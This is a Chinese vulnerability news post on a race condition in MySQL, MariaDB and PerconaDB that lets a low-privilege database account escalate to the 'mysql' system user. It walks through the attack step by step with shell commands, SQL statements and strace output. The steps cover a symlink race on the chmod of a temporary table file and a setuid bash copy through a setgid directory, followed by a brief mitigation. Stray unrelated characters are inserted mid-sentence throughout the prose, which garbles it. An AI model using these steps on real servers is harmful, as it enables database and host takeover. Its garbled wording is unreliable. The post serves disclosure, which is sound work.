漏洞新聞-- MySQL / MariaDB / PerconaDB - 提權(quán)/條件競(jìng)爭(zhēng)漏洞

漏洞概述:

Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 數(shù)據(jù)庫中發(fā)現(xiàn)條件競(jìng)爭(zhēng)漏洞,該漏洞允許本地用戶使用低權(quán)限(CREATE/INSERT/SELECT權(quán)限)賬號(hào)提升權(quán)限到數(shù)據(jù)庫系統(tǒng)用戶(通常是'mysql')執(zhí)行任意代碼稳析。成功利用此漏洞,允許攻擊者完全訪問數(shù)據(jù)庫诚纸。也有潛在風(fēng)險(xiǎn)通過(CVE-2016-6662 和 CVE-2016-6664漏洞)獲取操作系統(tǒng)root權(quán)限。

利用條件

數(shù)據(jù)庫低權(quán)限用戶畦徘;

影響版本

MariaDB     < 5.5.52 < 10.1.18 < 10.0.28
MySQL       <= 5.5.51 <= 5.6.32 <= 5.7.14
Percona   Server    < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8
Percona   XtraDB Cluster    < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0

漏洞危害:

允許攻擊者完全訪問數(shù)據(jù)庫抬闯。也有潛在風(fēng)險(xiǎn)通過(CVE-2016-6662 和 CVE-2016-6664漏洞)獲取操作系統(tǒng)root權(quán)限。
漏洞詳情:
1) 基于MYSQL的數(shù)據(jù)庫允許用戶新建數(shù)據(jù)庫杯缺,并且指定存儲(chǔ)目錄奈虾。例如:

attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

2) 可以通過data directory參數(shù)指定存儲(chǔ)目錄為/tmp/disktable/廉赔。

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

3) 執(zhí)行完成后,查看下目錄權(quán)限蜡塌,變?yōu)閙ysql

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

4) 低權(quán)限(SELECT/CREATE/INSERT權(quán)限)的MYSQL賬戶,在執(zhí)行表修復(fù)過程中馏艾,執(zhí)行了不安全的臨時(shí)文件創(chuàng)建。

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

5) 通過查看系統(tǒng)調(diào)用铁孵,可以看到

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0

6) 第一個(gè)系統(tǒng)調(diào)用是

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我們可以看到,在檢驗(yàn)poctab1.MYD表文件權(quán)限的時(shí)候蜕劝,也會(huì)復(fù)制在創(chuàng)建repaired表時(shí)的臨時(shí)文件chmod()權(quán)限。因此在
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
系統(tǒng)調(diào)用之間暑始,產(chǎn)生了條件競(jìng)爭(zhēng)漏洞婴削。
如果攻擊者刪除臨時(shí)表poctab1.TMD,然后通過符號(hào)鏈接在chmod()操作前替換/var/lib/mysql唉俗,則能夠完全控制MYSQL的data目錄權(quán)限。

7) 攻擊者可以預(yù)設(shè)置poctab1.MYD權(quán)限為04777(suid)虫溜,然后通過有漏洞的chmod()調(diào)用有效的復(fù)制一個(gè)bash shell來執(zhí)行命令吼渡。這里會(huì)有一個(gè)問題容为,suid shell將指揮保留攻擊者的UID,而不是'mysql'用戶坎背。因此攻擊者需要復(fù)制bash shell到mysql用戶用戶的表文件寄雀,然而mysql表文件又不具有寫權(quán)限。
可以通過新建一個(gè)具有組粘帖位(group sticky bit)的目錄來繞過這個(gè)限制懂更。
新建/tmp/disktable/目錄,并賦予組粘帖位(group sticky bit)沮协。

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通過data directory參數(shù)指定存儲(chǔ)目錄為/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

8) 再次查看/tmp/disktable/權(quán)限

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我們可以看到poctab2.MYD表已經(jīng)是'mysql'權(quán)限了卓嫂,但是屬于'attacker'組。這樣'attacker'就能夠復(fù)制/bin/bash到poctab2.MYD文件了晨雳。

修復(fù)建議:

臨時(shí)解決辦法:
在my.cnf中添加 symbolic-links = 0

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末血久,一起剝皮案震驚了整個(gè)濱河市绷旗,隨后出現(xiàn)的幾起案子豁翎,更是在濱河造成了極大的恐慌优烧,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,214評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異颓鲜,居然都是意外死亡艳吠,警方通過查閱死者的電腦和手機(jī)栏渺,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,307評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門滞磺,熙熙樓的掌柜王于貴愁眉苦臉地迎上來广凸,“玉大人撞蜂,你說我怎么就攤上這事系馆。” “怎么了由蘑?”我有些...
    開封第一講書人閱讀 152,543評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵爷狈,是天一觀的道長(zhǎng)涎永。 經(jīng)常有香客問我羡微,道長(zhǎng)妈倔,這世上最難降的妖魔是什么盯蝴? 我笑而不...
    開封第一講書人閱讀 55,221評(píng)論 1 279
  • 正文 為了忘掉前任虑绵,我火速辦了婚禮翅睛,結(jié)果婚禮上宏所,老公的妹妹穿的比我還像新娘爬骤。我一直安慰自己霞玄,他們只是感情好坷剧,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,224評(píng)論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著狞尔,像睡著了一般偏序。 火紅的嫁衣襯著肌膚如雪研儒。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,007評(píng)論 1 284
  • 那天,我揣著相機(jī)與錄音遍膜,去河邊找鬼恩尾。 笑死挽懦,一個(gè)胖子當(dāng)著我的面吹牛信柿,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播进鸠,決...
    沈念sama閱讀 38,313評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼量瓜!你這毒婦竟也來了绍傲?” 一聲冷哼從身側(cè)響起烫饼,我...
    開封第一講書人閱讀 36,956評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎淡诗,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體群凶,經(jīng)...
    沈念sama閱讀 43,441評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡请梢,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,925評(píng)論 2 323
  • 正文 我和宋清朗相戀三年气嫁,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了寸宵。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片元咙。...
    茶點(diǎn)故事閱讀 38,018評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡甲棍,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情倘零,我是刑警寧澤,帶...
    沈念sama閱讀 33,685評(píng)論 4 322
  • 正文 年R本政府宣布聋迎,位于F島的核電站霉晕,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏恨搓。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,234評(píng)論 3 307
  • 文/蒙蒙 一墩邀、第九天 我趴在偏房一處隱蔽的房頂上張望荔茬。 院中可真熱鬧慕蔚,春花似錦灌闺、人聲如沸桂对。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,240評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蕉斜。三九已至,卻和暖如春缀棍,著一層夾襖步出監(jiān)牢的瞬間宅此,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,464評(píng)論 1 261
  • 我被黑心中介騙來泰國打工爬范, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留父腕,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,467評(píng)論 2 352
  • 正文 我出身青樓青瀑,卻偏偏與公主長(zhǎng)得像璧亮,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子狱窘,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,762評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容